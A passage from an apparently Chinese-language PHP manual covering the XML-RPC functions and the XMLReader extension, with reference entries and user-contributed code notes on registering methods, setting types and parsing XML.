本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
hfuecks at pinkgoblin dot com
17-Aug-2002 01:41
This function returns the type of a PHP variable in XML-RPC terms. It won't "spot" base64 or iso8601 types unless they have been defined using xmlrpc_set_type().

For iso8601 type it returns "datetime".

Otherwise it returns strings corresponding directly the XML-RPC data types e.g. "struct","int","string","base64" etc.
add a note add a note

后退 | 起点 | 前进
xmlrpc_encode | 上一级 | xmlrpc_is_fault


xmlrpc_is_fault

(PHP 4 >= 4.3.0, PHP 5)

xmlrpc_is_fault -- Determines if an array value represents an XMLRPC fault

Description

bool xmlrpc_is_fault ( array arg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xmlrpc_get_type | 上一级 | xmlrpc_parse_method_descriptions


xmlrpc_parse_method_descriptions

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_parse_method_descriptions -- 将 XML 译码成方法描述的列表

描述

array xmlrpc_parse_method_descriptions ( string xml )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xmlrpc_is_fault | 上一级 | xmlrpc_server_add_introspection_data


xmlrpc_server_add_introspection_data

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_add_introspection_data -- 添加自我描述的文档

描述

int xmlrpc_server_add_introspection_data ( resource server, array desc )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xmlrpc_parse_method_descriptions | 上一级 | xmlrpc_server_call_method


xmlrpc_server_call_method

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_call_method -- 解析 XML 请求同时调用方法

描述

string xmlrpc_server_call_method ( resource server, string xml, mixed user_data [, array output_options] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
nyvsld at gmail dot com
27-Nov-2005 09:08
<?php
/* method implementation */
function impl($method_name,$params,$user_data){
  var_dump(func_get_args('impl'));
  return array_sum($params);
}

/* create server */
$s=xmlrpc_server_create();
xmlrpc_server_register_method($s,'add','impl');

/* calling server method */
$req=xmlrpc_encode_request('add',array(1,2,3));
$resp=xmlrpc_server_call_method($s,$req,array(3,4));

/* process result */
$decoded=xmlrpc_decode($resp);
if(xmlrpc_is_fault($decoded)){
   echo 'fault!';
}

var_dump($decoded);
?>
zionglau at yahoo dot com
21-Jul-2004 01:44
here is a document about output options
http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options
add a note add a note

后退 | 起点 | 前进
xmlrpc_server_add_introspection_data | 上一级 | xmlrpc_server_create


xmlrpc_server_create

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_create -- 创建一个 xmlrpc 服务端

描述

resource xmlrpc_server_create ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xmlrpc_server_call_method | 上一级 | xmlrpc_server_destroy


xmlrpc_server_destroy

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_destroy -- 销毁服务端资源

描述

int xmlrpc_server_destroy ( resource server )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
nospam at bigbadweb dot co dot uk
23-Nov-2005 06:26
This function returns true (1) if successful and false (0) if resource is invalid or could not be destroyed.
add a note add a note

后退 | 起点 | 前进
xmlrpc_server_create | 上一级 | xmlrpc_server_register_introspection_callback


xmlrpc_server_register_introspection_callback

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_register_introspection_callback -- 注册一个 PHP 函数用于生成文档

描述

bool xmlrpc_server_register_introspection_callback ( resource server, string function )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xmlrpc_server_destroy | 上一级 | xmlrpc_server_register_method


xmlrpc_server_register_method

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_server_register_method -- 注册一个 PHP 函数用于匹配 xmlrpc 方法名

描述

bool xmlrpc_server_register_method ( resource server, string method_name, string function )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
nyvsld at gmail dot com
27-Nov-2005 09:03
prototype of registered function:

function method_impl(string $method_name, array $params, array $user_data);

$method_name
   the public method name, known by calling client
$params
   parameters specified by calling client
$user_data
   any local data, passed by `xmlrpc_server_call_method'
dante at lorenso dot com
12-Aug-2005 03:46
To register a callback to a 'static' function within the same class, consider a syntax like the following:
<code>
$callback = array (__CLASS__, "my_function_name");
xmlrpc_server_register_method($xmlrpc_server, "my_function", $callback);
</code>
Doing it this way makes it easier to rename your class later.
eiriks at hollowmatrix dot com
28-Mar-2005 07:08
Remember that you can't do like Chrigu and Nate said if you want to add methods from a static class (Hence you can't create any instances of it).
A workaround is to create lambda functions calling the
methods:

// Our static handler class
static class MyHandler
{
   public function getPrice($item)
   {
       $prices = array("apple" => 4, "orange" => 5);
       return $prices[$item];
   }
   public function buy($item, $number)
   {
       $price = self::getPrice($item) * $number;
       do_thing_to_sell_the_item();
       return $price;
   }
}

// Use reflection to get method names and parameters
$mirror = new ReflectionClass("MyHandler");
foreach ($mirror->getMethods() as $method)
{
   // Create new "lambda" function for each method

   // Generate argument list
   $args = array();
   foreach ($method->getParameters() as $param)
   {
       $args[] = '$'.$param->getName();
   }
   $args = implode(',', $args);

   // Generate code
   $methodname = $method->getName();
   $code = "return {$real_class}::{$methodname}({$args});";

   // Create function, retrieve function name
   $function_name = create_function($args, $code);

   // Register the function
   xmlrpc_server_register_method($myserver, $methodname, $function_name);
}
Nate Parsons
30-Apr-2003 06:12
In case its not completely obvious what Chrigu meant,

You can register a method inside your class by doing the following:

xml_rpc_server_register_methode($xmlrpc_server, "myClientCall", array(&$this, "handleClientCallFunc"));

where $this == the magic class $this. =)
19-Nov-2002 02:40
Here is an example how to register a class methode:

xml_rpc_server_register_methode($xmlrpc_server, "foo", array(&$bar, "foo_func"));

where $bar is the instance of your class and foo_func a methode of this class. Don't forget the '&'!

hope this may be useful...

Chrigu
add a note add a note

后退 | 起点 | 前进
xmlrpc_server_register_introspection_callback | 上一级 | xmlrpc_set_type


xmlrpc_set_type

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_set_type -- 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

描述

bool xmlrpc_set_type ( string &value, string type )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
bmatheny at mobocracy dot net
24-Mar-2006 07:08
The following code segfaults some older (pre 5.1.2) versions of PHP:

$foo = date('c', time());
xmlrpc_set_type($foo, 'datetime');

Please upgrade before reporting as a bug.
ncuxxx at gmail dot com
23-Dec-2005 04:59
I write tutorial.
Look it.
http://2pik.com/article/1/8.html

It`s very useful for russian users :)
And also usefol for LJ. :)
shem((at))etkDOTca [aka.Przemyslaw Szot]
31-Oct-2004 05:23
Once you use the xmlrpc_set_type function, the data is encoded into a PHP object.  In your XMLRPC server, in order to access the data you must be able to access the necessary part of the object.

So.. to expend on the example above:

<---------- CLIENT ---------->
$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

In order to retrieve the binary file data you would need to get the scalar portion of the object:

<---------- SERVER ------------>
$string=$params[0];
$date_obj=$params[1];
$binary_obj=$params[2];

$date=$date_obj->scalar;
$binary_data=$binary_obj->scalar;

// Then you can proceed to write the binary
fwrite($handle,$binary_data);
kelly at seankelly dot biz
28-Dec-2002 11:53
The problem is that PHP has a string type which is also used to hold binary data and dates.  But XML-RPC defines three separate types for strings, binary data, and dates.  How do you tell how you want strings encoded?  That's where this function comes in.

Suppose the XML-RPC method "log.data" took a string, a date, and a binary object.  To tell XML-RPC that the date (which is a PHP string) is a really a date and that the binary data (which is also a PHP string) is really binary data, try:

$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

Note the reference passing in the calls to xmlrpc_set_type; that enables the function to change the values from strings into what xmlrpc_encode/_request expects (which are objects that include a bonus field that tells the desired XML-RPC type).
add a note add a note

后退 | 起点 | 前进
xmlrpc_server_register_method | 上一级 | XMLReader functions


XMLReader functions

PHP 手册
后退 前进

CLVIII. XMLReader functions

简介

The XMLReader extension is an XML Pull parser. The reader acts as a cursor going forward on the document stream and stopping at each node on the way.

安装

The XMLReader extension is available in PECL for PHP 5.0 and is included in PHP 5.1 by default. It and can be enabled by adding the argument --with--xmlreader to your configure line. The libxml extension is required.

预定义类

XMLReader

方法

  • XMLReader->close() - Close the XMLReader input

  • XMLReader->expand() - Export current node to a DOM node

  • XMLReader->getAttribute() - Get value of attribute by name

  • XMLReader->getAttributeNo() - Get value of attribute by position

  • XMLReader->getAttributeNS() - Get value of attribute by name and URI

  • XMLReader->getParserProperty() - Indicates if parser property is set or not

  • XMLReader->isValid() - Indicates if document is valid

  • XMLReader->lookupNamespace() - Get URI for prefix in scope of node

  • XMLReader->moveToAttribute() - Positions reader on named attribute

  • XMLReader->moveToAttributeNo() - Positions reader on attribute by index

  • XMLReader->moveToAttributeNs() - Position reader on attribute by name and URI

  • XMLReader->moveToElement() - Move to parent element of current attribute node

  • XMLReader->moveToFirstAttribute() - Move to first attribute of node

  • XMLReader->moveToNextAttribute() - Move to next attribute of node

  • XMLReader->next() - Move to next element skipping children

  • XMLReader->open() - Set URI to be parsed

  • XMLReader->read() - Move to next node in stream

  • XMLReader->setParserProperty() - Set parser property

  • XMLReader->setRelaxNGSchema() - Set URI of RelaxNG schema to validate against

  • XMLReader->setRelaxNGSchemaSource() - Set string containing RelaxNG schema to validate against

  • XMLReader->XML() - Set string of data to be parsed

属性

表格 1.

Name | Type | Read-only | Description
attributeCount | int | yes | The number of attributes on the node
baseURI | string | yes | The base URI of the node
depth | int | yes | Depth of the node in the tree starting at 0
hasAttributes | bool | yes | Indicates if node has attributes
hasValue | bool | yes | Indicates if node has a text value
isDefault | bool | yes | Indicates if attribute is defaulted from DTD
isEmptyElement | bool | yes | Indicates if node is an empty element tag
localName | string | yes | The local name of the node
name | string | yes | The qualified name of the node
namespaceURI | string | yes | The URI of the namespace associated with the node
nodeType | int | yes | The node type for the node
prefix | string | yes | The prefix of the namespace associated with the node
value | string | yes | The text value of the node
xmlLang | string | yes | The xml:lang scope which the node resides

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 2. XMLReader Node Types

Constant | Value | Description
XMLREADER_NONE (integer) | 0 | No node type
XMLREADER_ELEMENT (integer) | 1 | Start element
XMLREADER_ATTRIBUTE (integer) | 2 | Attribute node
XMLREADER_TEXT (integer) | 3 | Text node
XMLREADER_CDATA (integer) | 4 | CDATA node
XMLREADER_ENTITY_REF (integer) | 5 | Entity Reference node
XMLREADER_ENTITY (integer) | 6 | Entity Declaration node
XMLREADER_PI (integer) | 7 | Processing Instruction node
XMLREADER_COMMENT (integer) | 8 | Comment node
XMLREADER_DOC (integer) | 9 | Document node
XMLREADER_DOC_TYPE (integer) | 10 | Document Type node
XMLREADER_DOC_FRAGMENT (integer) | 11 | Document Fragment node
XMLREADER_NOTATION (integer) | 12 | Notation node
XMLREADER_WHITESPACE (integer) | 13 | Whitespace node
XMLREADER_SIGNIFICANT_WHITESPACE (integer) | 14 | Significant Whitespace node
XMLREADER_END_ELEMENT (integer) | 15 | End Element
XMLREADER_END_ENTITY (integer) | 16 | End Entity
XMLREADER_XML_DECLARATION (integer) | 17 | XML Declaration node

表格 3. XMLReader Parser Options

Constant | Value | Description
XMLREADER_LOADDTD (integer) | 1 | Load DTD but do not validate
XMLREADER_DEFAULTATTRS (integer) | 2 | Load DTD and default attributes but do not validate
XMLREADER_VALIDATE (integer) | 3 | Load DTD and validate while parsing
XMLREADER_SUBST_ENTITIES (integer) | 4 | Subsitute entities and expand references
目录
XMLReader->close() -- Close the XMLReader input
XMLReader->expand() -- Returns a copy of the current node as a DOM object
XMLReader->getAttribute() -- Get the value of a named attribute
XMLReader->getAttributeNo() -- Get the value of an attribute by index
XMLReader->getAttributeNS() -- Get the value of an attribute by localname and URI
XMLReader->getParserProperty() -- Indicates if specified property has been set
XMLReader->isValid() -- Indicates if the parsed document is valid
XMLReader->lookupNamespace() -- Lookup namespace for a prefix
XMLReader->moveToAttribute() -- Move cursor to a named attribute
XMLReader->moveToAttributeNo() -- Move cursor to an attribute by index
XMLReader->moveToAttributeNs() -- Move cursor to a named attribute
XMLReader->moveToElement() -- Position cursor on the parent Element of current Attribute
XMLReader->moveToFirstAttribute() -- Position cursor on the first Attribute
XMLReader->moveToNextAttribute() -- Position cursor on the next Attribute
XMLReader->next() -- Move cursor to next node skipping all subtrees
XMLReader->open() -- Set the URI containing the XML to parse
XMLReader->read() -- Move to next node in document
XMLReader->setParserProperty() -- Set or Unset parser options
XMLReader->setRelaxNGSchema() -- Set the filename or URI for a RelaxNG Schema
XMLReader->setRelaxNGSchemaSource() -- Set the data containing a RelaxNG Schema
XMLReader->XML() -- Set the data containing the XML to parse

add a note add a note User Contributed Notes
jcatalaa at catium dot com
21-Mar-2006 03:52
DTD Validation

Parser properties can be set using:

  $xml_reader->setParserProperty(XMLReader::CONSTANT_NAME, BoolenValue);

The constant setting in the xmlreader_validatedtd.php example that comes
with the xmlread package results in an error.
Here is how I got it to work...

<?php
$indent = 5; /* Number of spaces to indent per level */

$xml = new XMLReader();
$xml->open("dtdexample.xml");
// CHANGED NEXT TWO LINES TO REMOVE ERROR
// FROM: $xml->setParserProperty(XMLREADER_LOADDTD, TRUE);
$xml->setParserProperty(XMLReader::LOADDTD,  TRUE);
$xml->setParserProperty(XMLReader::VALIDATE, TRUE);
while($xml->read()) {
   /* Print node name indenting it based on depth and $indent var */
   print str_repeat(" ", $xml->depth * $indent).$xml->name."\n";
   if ($xml->hasAttributes) {
       $attCount = $xml->attributeCount;
       print str_repeat(" ", $xml->depth * $indent)." Number of Attributes: ".$xml->attributeCount."\n";
   }
}
print "\n\nValid:\n";
var_dump($xml->isValid());
?>
orion at ftf-hq dot dk
15-Feb-2006 08:50
Some more documentation (i.e. examples) would be nice :-)

This is how I read some mysql parameters in an xml file:

<?php
   $xml = new XMLReader();
   $xml->open("config.xml");
   $xml->setParserProperty(2,true); // This seems a little unclear to me - but it worked :)

   while ($xml->read()) {
       switch ($xml->name) {
       case "mysql_host":
           $xml->read();
           $conf["mysql_host"] = $xml->value;
           $xml->read();
           break;
       case "mysql_username":
           $xml->read();
           $conf["mysql_user"] = $xml->value;
           $xml->read();
           break;
       case "mysql_password":
           $xml->read();
           $conf["mysql_pass"] = $xml->value;
           $xml->read();
           break;
       case "mysql_database":
           $xml->read();
           $conf["mysql_db"] = $xml->value;
           $xml->read();
           break;
       }
   }

   $xml->close();
?>

The XML file used:
<?xml version='1.0'?>
<MySQL_INIT>
   <mysql_host>localhost</mysql_host>
   <mysql_database>db_database</mysql_database>
   <mysql_username>root</mysql_username>
   <mysql_password>password</mysql_password>
</MySQL_INIT>
Ariel Gonzalez
12-Feb-2006 06:09
Simple function I used while playing around with XMLReader.

<?php
function dump_xmlreader($o) {
   $node_types = array (
       0=>"No node type",
       1=>"Start element",
       2=>"Attribute node",
       3=>"Text node",
       4=>"CDATA node",
       5=>"Entity Reference node",
       6=>"Entity Declaration node",
       7=>"Processing Instruction node",
       8=>"Comment node",
       9=>"Document node",
       10=>"Document Type node",
       11=>"Document Fragment node",
       12=>"Notation node",
       13=>"Whitespace node",
       14=>"Significant Whitespace node",
       15=>"End Element",
       16=>"End Entity",
       17=>"XML Declaration node"
   );

   echo "attributeCount = " . $o->attributeCount . "\n";
   echo "baseURI = " . $o->baseURI . "\n";
   echo "depth = " . $o->depth . "\n";
   echo "hasAttributes = " . ( $o->hasAttributes ? 'TRUE' : 'FALSE' ) . "\n";
   echo "hasValue = " . ( $o->hasValue ? 'TRUE' : 'FALSE' ) . "\n";
   echo "isDefault = " . ( $o->isDefault ? 'TRUE' : 'FALSE' ) . "\n";
   echo "isEmptyElement = " . ( @$o->isEmptyElement ? 'TRUE' : 'FALSE' ) . "\n";
   echo "localName = " . $o->localName . "\n";
   echo "name = " . $o->name . "\n";
   echo "namespaceURI = " . $o->namespaceURI . "\n";
   echo "nodeType = " . $o->nodeType . ' - ' . $node_types[$o->nodeType] . "\n";
   echo "prefix = " . $o->prefix . "\n";
   echo "value = " . $o->value . "\n";
   echo "xmlLang = " . $o->xmlLang . "\n";
}
?>
add a note add a note

后退 | 起点 | 前进
xmlrpc_set_type | 上一级 | XMLReader->close()


XMLReader->close()

(no version information, might be only in CVS)

XMLReader->close() -- Close the XMLReader input

说明

class XMLReader {

bool close ( void )

}

Closes the input the XMLReader object is currently parsing.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->open()
XMLReader->XML()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader functions | 上一级 | XMLReader->expand()


XMLReader->expand()

(no version information, might be only in CVS)

XMLReader->expand() -- Returns a copy of the current node as a DOM object

说明

class XMLReader {

DOMNode expand ( void )

}

This method copies the current node and returns the appropriate DOM object.

返回值

The resulting DOMNode or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->close() | 上一级 | XMLReader->getAttribute()


XMLReader->getAttribute()

(no version information, might be only in CVS)

XMLReader->getAttribute() -- Get the value of a named attribute

说明

class XMLReader {

string getAttribute ( string name )

}

Returns the value of a named attribute or an empty string if attribute does not exist or not positioned on an element node.

参数

name

The name of the attribute.

返回值

The value of the attribute, or an empty string if no attribute with the given name is found or not positioned of element.

参见

XMLReader->getAttributeNo()
XMLReader->getAttributeNS()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->expand() | 上一级 | XMLReader->getAttributeNo()


XMLReader->getAttributeNo()

(no version information, might be only in CVS)

XMLReader->getAttributeNo() -- Get the value of an attribute by index

说明

class XMLReader {

string getAttributeNo ( int index )

}

Returns the value of an attribute based on its position or an empty string if attribute does not exist or not positioned on an element node.

参数

index

The position of the attribute.

返回值

The value of the attribute, or an empty string if no attribute exists at index or not positioned of element.

参见

XMLReader->getAttribute()
XMLReader->getAttributeNS()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->getAttribute() | 上一级 | XMLReader->getAttributeNS()


XMLReader->getAttributeNS()

(no version information, might be only in CVS)

XMLReader->getAttributeNS() -- Get the value of an attribute by localname and URI

说明

class XMLReader {

string getAttributeNS ( string localName, string namespaceURI )

}

Returns the value of an attribute by name and namespace URI or an empty string if attribute does not exist or not positioned on an element node.

参数

localName

The local name.

namespaceURI

The namespace URI.

返回值

The value of the attribute, or an empty string if no attribute with the given localName and namespaceURI is found or not positioned of element.

参见

XMLReader->getAttribute()
XMLReader->getAttributeNo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->getAttributeNo() | 上一级 | XMLReader->getParserProperty()


XMLReader->getParserProperty()

(no version information, might be only in CVS)

XMLReader->getParserProperty() -- Indicates if specified property has been set

说明

class XMLReader {

bool getParserProperty ( int property )

}

Indicates if specified property has been set.

参数

property

One of the parser option constants.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->setParserProperty()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->getAttributeNS() | 上一级 | XMLReader->isValid()


XMLReader->isValid()

(no version information, might be only in CVS)

XMLReader->isValid() -- Indicates if the parsed document is valid

说明

class XMLReader {

bool isValid ( void )

}

Returns a boolean indicating if the document being parsed is currently valid.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->setParserProperty()
XMLReader->setRelaxNGSchema()
XMLReader->setRelaxNGSchemaSource()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->getParserProperty() | 上一级 | XMLReader->lookupNamespace()


XMLReader->lookupNamespace()

(no version information, might be only in CVS)

XMLReader->lookupNamespace() -- Lookup namespace for a prefix

说明

class XMLReader {

bool lookupNamespace ( string prefix )

}

Lookup in scope namespace for a given prefix.

参数

prefix

String containing the prefix.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->isValid() | 上一级 | XMLReader->moveToAttribute()


XMLReader->moveToAttribute()

(no version information, might be only in CVS)

XMLReader->moveToAttribute() -- Move cursor to a named attribute

说明

class XMLReader {

bool moveToAttribute ( string name )

}

Positions cursor on the named attribute.

参数

name

The name of the attribute.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttributeNo()
XMLReader->moveToAttributeNs()
XMLReader->moveToFirstAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->lookupNamespace() | 上一级 | XMLReader->moveToAttributeNo()


XMLReader->moveToAttributeNo()

(no version information, might be only in CVS)

XMLReader->moveToAttributeNo() -- Move cursor to an attribute by index

说明

class XMLReader {

bool moveToAttributeNo ( int index )

}

Positions cursor on attribute based on its position.

参数

index

The position of the attribute.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttribute()
XMLReader->moveToAttributeNs()
XMLReader->moveToFirstAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToAttribute() | 上一级 | XMLReader->moveToAttributeNs()


XMLReader->moveToAttributeNs()

(no version information, might be only in CVS)

XMLReader->moveToAttributeNs() -- Move cursor to a named attribute

说明

class XMLReader {

bool moveToAttributeNs ( string localName, string namespaceURI )

}

Positions cursor on the named attribute in specified namespace.

参数

localName

The local name.

namespaceURI

The namespace URI.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttribute()
XMLReader->moveToAttributeNo()
XMLReader->moveToFirstAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToAttributeNo() | 上一级 | XMLReader->moveToElement()


XMLReader->moveToElement()

(no version information, might be only in CVS)

XMLReader->moveToElement() -- Position cursor on the parent Element of current Attribute

说明

class XMLReader {

bool moveToElement ( void )

}

Moves cursor to the parent Element of current Attribute. Returns TRUE if sucessful and FALSE if it fails or not positioned on Attribute when this method is called.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToAttribute()
XMLReader->moveToAttributeNo()
XMLReader->moveToAttributeNs()
XMLReader->moveToFirstAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToAttributeNs() | 上一级 | XMLReader->moveToFirstAttribute()


XMLReader->moveToFirstAttribute()

(no version information, might be only in CVS)

XMLReader->moveToFirstAttribute() -- Position cursor on the first Attribute

说明

class XMLReader {

bool moveToFirstAttribute ( void )

}

Moves cursor to the first Attribute.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttribute()
XMLReader->moveToAttributeNo()
XMLReader->moveToAttributeNs()
XMLReader->moveToNextAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToElement() | 上一级 | XMLReader->moveToNextAttribute()


XMLReader->moveToNextAttribute()

(no version information, might be only in CVS)

XMLReader->moveToNextAttribute() -- Position cursor on the next Attribute

说明

class XMLReader {

bool moveToNextAttribute ( void )

}

Moves cursor to the next Attribute if positioned on an Attribute or moves to first attribute if positioned on an Element.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttribute()
XMLReader->moveToAttributeNo()
XMLReader->moveToAttributeNs()
XMLReader->moveToFirstAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToFirstAttribute() | 上一级 | XMLReader->next()


XMLReader->next()

(no version information, might be only in CVS)

XMLReader->next() -- Move cursor to next node skipping all subtrees

说明

class XMLReader {

bool next ( [string localname] )

}

Positions cursor on the next node skipping all subtrees.

参数

localname

The name of the next node to move to.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->next()
XMLReader->moveToElement()
XMLReader->moveToAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->moveToNextAttribute() | 上一级 | XMLReader->open()


XMLReader->open()

(no version information, might be only in CVS)

XMLReader->open() -- Set the URI containing the XML to parse

说明

class XMLReader {

bool open ( string URI )

}

Set the URI containing the XML document to be parsed.

参数

URI

URI pointing to the document.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->XML()
XMLReader->close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->next() | 上一级 | XMLReader->read()


XMLReader->read()

(no version information, might be only in CVS)

XMLReader->read() -- Move to next node in document

说明

class XMLReader {

bool read ( void )

}

Moves cursor to the next node in the document.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->moveToElement()
XMLReader->moveToAttribute()
XMLReader->next()

add a note add a note User Contributed Notes
jirka at kosek dot cz
08-Feb-2006 05:01
libxml2 contains much more useful method readString() that will read and return whole text content of element. You can call it after receiving start tag (XMLReader::ELEMENT). You can use this PHP code to emulate this method until PHP will directly call underlying libxml2 implementation.

<?php
class XMLReader2 extends XMLReader
{
  function readString()
  {
       $depth = 1;
       $text = "";

       while ($this->read() && $depth != 0)
       {
           if (in_array($this->nodeType, array(XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE)))
               $text .= $this->value;
           if ($this->nodeType == XMLReader::ELEMENT) $depth++;
           if ($this->nodeType == XMLReader::END_ELEMENT) $depth--;
       }
       return $text;
   }
}
?>

Just use XMLReader2 instead of XMLReader.
add a note add a note

后退 | 起点 | 前进
XMLReader->open() | 上一级 | XMLReader->setParserProperty()


XMLReader->setParserProperty()

(no version information, might be only in CVS)

XMLReader->setParserProperty() -- Set or Unset parser options

说明

class XMLReader {

bool setParserProperty ( int property, bool value )

}

Set or Unset parser option for the parser. The options must be set
after xmlreader-open() or
xmlreader-xml() are called and before
the first xmlreader-read() call.

参数

property

One of the parser option constants.

value

If set to TRUE the option will be enabled otherwise will be disabled.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->read() | 上一级 | XMLReader->setRelaxNGSchema()


XMLReader->setRelaxNGSchema()

(no version information, might be only in CVS)

XMLReader->setRelaxNGSchema() -- Set the filename or URI for a RelaxNG Schema

说明

class XMLReader {

bool setRelaxNGSchema ( string filename )

}

Set the filename or URI for the RelaxNG Schema to use for validation.

参数

filename

filename or URI pointing to a RelaxNG Schema.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->setRelaxNGSchemaSource()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->setParserProperty() | 上一级 | XMLReader->setRelaxNGSchemaSource()


XMLReader->setRelaxNGSchemaSource()

(no version information, might be only in CVS)

XMLReader->setRelaxNGSchemaSource() -- Set the data containing a RelaxNG Schema

说明

class XMLReader {

bool setRelaxNGSchemaSource ( string source )

}

Set the data containing a RelaxNG Schema to use for validation.

参数

source

String containing the RelaxNG Schema.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

XMLReader->setRelaxNGSchema()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XMLReader->setRelaxNGSchema() | 上一级 | XMLReader->XML()


XMLReader->XML()

(no version information, might be only in CVS)

XMLReader->XML() -- Set the data containing the XML to parse

说明

class XMLReader {

